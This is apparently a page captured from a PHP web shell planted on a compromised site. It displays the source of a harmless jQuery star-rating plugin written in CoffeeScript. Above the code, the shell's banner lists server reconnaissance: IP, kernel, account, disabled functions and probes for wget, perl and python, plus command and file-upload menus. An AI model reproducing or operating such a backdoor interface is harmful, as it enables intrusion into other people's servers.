|
Server IP : 124.109.2.77 / Your IP : 216.73.216.49 Web Server : Apache/2 System : Linux ns4.amiprocorp.com 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64 User : cpctlp ( 1020) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 329 OFF | Perl : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 335 OFF | Python : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 341 OFF Directory (0755) : /home/cpctlp/domains/cpctlphp.com/public_html/admin/vendors/starrr/../starrr/src/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
(($, window) ->
window.Starrr = class Starrr
defaults:
rating: undefined
max: 5
readOnly: false
emptyClass: 'fa fa-star-o'
fullClass: 'fa fa-star'
change: (e, value) ->
constructor: ($el, options) ->
@options = $.extend({}, @defaults, options)
@$el = $el
@createStars()
@syncRating()
return if @options.readOnly
@$el.on 'mouseover.starrr', 'a', (e) =>
@syncRating(@getStars().index(e.currentTarget) + 1)
@$el.on 'mouseout.starrr', =>
@syncRating()
@$el.on 'click.starrr', 'a', (e) =>
e.preventDefault()
@setRating(@getStars().index(e.currentTarget) + 1)
@$el.on 'starrr:change', @options.change
getStars: ->
@$el.find('a')
createStars: ->
@$el.append("<a href='#' />") for [1..@options.max]
setRating: (rating) ->
rating = undefined if @options.rating == rating
@options.rating = rating
@syncRating()
@$el.trigger('starrr:change', rating)
getRating: ->
@options.rating
syncRating: (rating) ->
rating ||= @options.rating
$stars = @getStars()
for i in [1..@options.max]
$stars.
eq(i - 1).
removeClass(if rating >= i then @options.emptyClass else @options.fullClass).
addClass(if rating >= i then @options.fullClass else @options.emptyClass)
# Define the plugin
$.fn.extend starrr: (option, args...) ->
@each ->
data = $(@).data('starrr')
if !data
$(@).data 'starrr', (data = new Starrr($(@), option))
if typeof option == 'string'
data[option].apply(data, args)
) window.jQuery, window